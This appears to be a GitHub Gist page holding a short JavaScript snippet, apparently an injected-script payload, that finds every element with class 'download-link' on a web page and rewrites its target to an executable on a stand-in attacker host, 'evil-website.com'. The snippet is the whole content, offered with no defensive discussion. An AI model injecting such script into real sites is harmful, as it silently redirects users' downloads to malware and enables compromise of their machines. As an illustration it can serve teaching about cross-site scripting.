Created
January 15, 2021 21:49
-
-
Save K-Mistele/771022d94bdd7f347ca9aff23eb100cf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// grab all download links on the page | |
const download_links = document.getElementsByClassName('download-link'); | |
// change their target to a malicious piece of software hosted on the attacker's server | |
for (let link of download_links) { | |
link.setAttribute('href', 'https://evil-website.com/evil-program.exe'); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment